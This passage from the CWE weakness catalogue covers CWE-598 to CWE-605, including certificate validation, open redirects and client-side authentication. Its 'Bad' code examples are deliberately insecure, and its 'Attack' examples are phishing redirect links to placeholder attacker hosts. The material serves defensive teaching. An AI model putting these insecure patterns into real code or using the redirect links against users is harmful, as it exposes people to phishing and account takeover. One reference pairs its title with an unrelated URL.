The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	201	Insertion of Sensitive Information Into Sent Data	514

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *At a minimum, attackers can garner information from query strings that can be utilized in escalating their method of attack, such as information about the internal workings of the application or database column names. Successful exploitation of query string parameter vulnerabilities could lead to an attacker impersonating a legitimate user, obtaining proprietary data, or simply executing actions not intended by the application developers.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When sensitive information is sent, use the POST method (e.g. registration form).

Observed Examples

Reference	Description
CVE-2022-23546	A discussion platform leaks private information in GET requests. *https://www.cve.org/CVERecord?id=CVE-2022-23546*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2338
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2548

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

CWE-599: Missing Validation of OpenSSL Certificate

Weakness ID : 599
Structure : Simple
Abstraction : Variant

Description

The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.

Extended Description

This could allow an attacker to use an invalid certificate to claim to be a trusted host, use expired certificates, or conduct other attacks that could be detected if the certificate is properly validated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	295	Improper Certificate Validation	714

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2429

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The data read may not be properly secured, it might be viewed by an attacker.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Trust afforded to the system in question may allow for spoofing or redirection attacks.*	
Access Control	Gain Privileges or Assume Identity *If the certificate is not checked, it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data under the guise of a trusted host. While the attacker in question may have a valid certificate, it may simply be a valid certificate for a different site. In order to ensure data integrity, we must check that the certificate is valid, and that it pertains to the site we wish to access.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got certificate, host can be trusted
  //foo=SSL_get_verify_result(ssl);
  //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2395
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID : 600
Structure : Simple
Abstraction : Variant

Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	248	Uncaught Exception	596
PeerOf	B	390	Detection of Error Condition Without Action	943
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	533

Alternate Terms

Missing Catch Block :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
  String ip = req.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip);
  ...
  out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2365
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2400
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601
Structure : Simple
Abstraction : Base

Description

A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks.

Extended Description

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	610	Externally Controlled Reference to a Resource in Another Sphere	1364

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	●	610	Externally Controlled Reference to a Resource in Another Sphere	1364

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2309

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Alternate Terms

Open Redirect :

Cross-site Redirect :

Cross-domain Redirect :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.*	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other *The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

Example Language: PHP *(Bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Example Language: *(Attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. *https://www.cve.org/CVERecord?id=CVE-2005-4206*
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function. *https://www.cve.org/CVERecord?id=CVE-2008-2951*
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter. *https://www.cve.org/CVERecord?id=CVE-2008-2052*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2354
MemberOf	C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	809	2360
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2371
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	928	2393
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2413
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2517
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	38		URl Redirector Abuse
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
178	Cross-Site Flashing

References

[REF-483]Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < https://www.cprogramming.com/tutorial/exceptions.html >.2023-04-07.

[REF-484]Russ McRee. "Open redirect vulnerabilities: definition and prevention". Issue 17. (IN)SECURE. 2008 July. < http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf >.

[REF-485]Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". 2010 March 5. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602
Structure : Simple
Abstraction : Class

Description

The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1520
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1283
ParentOf	B	603	Use of Client-Side Authentication	1354
PeerOf	B	290	Authentication Bypass by Spoofing	705
PeerOf	C	300	Channel Accessible by Non-Endpoint	730
PeerOf	B	836	Use of Password Hash Instead of Password for Authentication	1761
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1121

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2427

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Availability	Bypass Protection Mechanism DoS: Crash, Exit, or Restart *Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.*	

Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl *(Good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
  # username/pass is valid, go ahead and update the info!
  writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
  print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language: *(Bad)*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
  ($username, $pass) = split(/\s+/, $args, 2);
  $result = AuthenticateUser($username, $pass);
  writeSocket($sock, "$result\n");
  # does not close the socket on failure; assumes the
  # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
  if (validateAddress($args)) {
    $res = UpdateDatabaseRecord($username, "address", $args);
    writeSocket($sock, "SUCCESS\n");
  }
  else {
    writeSocket($sock, "FAILURE -- address is malformed\n");
  }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

Observed Examples

Reference	Description
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. *https://www.cve.org/CVERecord?id=CVE-2022-33139*
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks. *https://www.cve.org/CVERecord?id=CVE-2006-6994*
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0163*
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0164*
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2007-0100*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2334
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2353
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2406
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491
MemberOf	C	1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2542

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
162	Manipulating Hidden Fields
202	Create Malicious Client
207	Removing Important Client Functionality
208	Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-603: Use of Client-Side Authentication

Weakness ID : 603
Structure : Simple
Abstraction : Base

Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	🟢	602	Client-Side Enforcement of Server-Side Security	1350
ChildOf	🟢	1390	Weak Authentication	2267
PeerOf	🟢	300	Channel Accessible by Non-Endpoint	730
PeerOf	🟢	656	Reliance on Security Through Obscurity	1444

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	🟥	1010	Authenticate Actors	2424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	🟥	1211	Authentication Errors	2475

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.

Demonstrative Examples

Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

Observed Examples

Reference	Description
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. *https://www.cve.org/CVERecord?id=CVE-2022-33139*
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client. *https://www.cve.org/CVERecord?id=CVE-2006-0230*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	2394
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2505
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-605: Multiple Binds to the Same Port

Weakness ID : 605
Structure : Simple
Abstraction : Variant

Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Extended Description

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1462
ChildOf	C	675	Multiple Operations on Resource in Single-Operation Context	1487

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2422

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data *Packets from a variety of network services may be stolen or the services spoofed.*	

Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.

Demonstrative Examples

Example 1:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(Bad)*

```
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  /*unlink the socket if already bound to avoid an error when bind() is called*/
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
  server_address.sin_addr.s_addr = htonl(INADDR_ANY);
  server_len = sizeof(struct sockaddr_in);
  bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
